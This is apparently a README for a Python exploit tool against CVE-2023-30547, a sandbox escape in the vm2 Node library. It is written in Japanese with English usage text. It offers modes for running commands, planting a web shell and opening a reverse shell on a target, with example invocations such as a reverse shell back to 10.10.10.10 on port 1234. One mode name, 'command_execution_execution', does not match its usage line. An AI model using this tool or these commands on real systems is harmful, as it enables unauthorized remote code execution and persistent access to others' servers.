
CVE-2023-30547を探索するためのツール

vm2は、ホワイトリストに登録されたNodeの組み込みモジュールを使用して信頼できないコードを実行できるサンドボックスです。vm2のバージョン3.9.16までの例外サニタイズに脆弱性が存在し、攻撃者が handleException() 内でサニタイズされていないホスト例外を発生させることができ、これによりサンドボックスをエスケープしてホストコンテキストで任意のコードを実行できる可能性があります。
このツールは、脆弱性を調査するために使用できるシンプルなPythonスクリプトです。4つのモードがあります:
check: ターゲットが脆弱かどうかを確認します。command_execution_execution: ターゲット上でコマンドを実行します。web_shell: ターゲット上でWebシェルを開きます。reverse_shell: ターゲット上でリバースシェルを開きます。usage: CVE-2023-30547.py [-h] -m {check,command_execution,web_shell,reverse_shell} -t TARGET [-c COMMAND] [-p PORT] [-i IP]
Tool for exploring CVE-2023-30547.
options:
-h, --help show this help message and exit
-m {check,command_execution,web_shell,reverse_shell}, --mode {check,command_execution,web_shell,reverse_shell}
Mode to run the tool in.
-t TARGET, --target TARGET
Target to run the tool against.
-c COMMAND, --command COMMAND
Command to execute in exploit mode.
-p PORT, --port PORT Local port to use for reverse shell.
-i IP, --ip IP Local ip to use for reverse shell.
python3 CVE-2023-30547.py -m check -t http://url.com/run
python3 CVE-2023-30547.py -m reverse_shell -t domain.com/run -p 1234 -i 10.10.10.10
python3 CVE-2023-30547.py -m web_shell -t domain.com/run
python3 CVE-2023-30547.py -m command_execution -t domain.com -c 'whoami'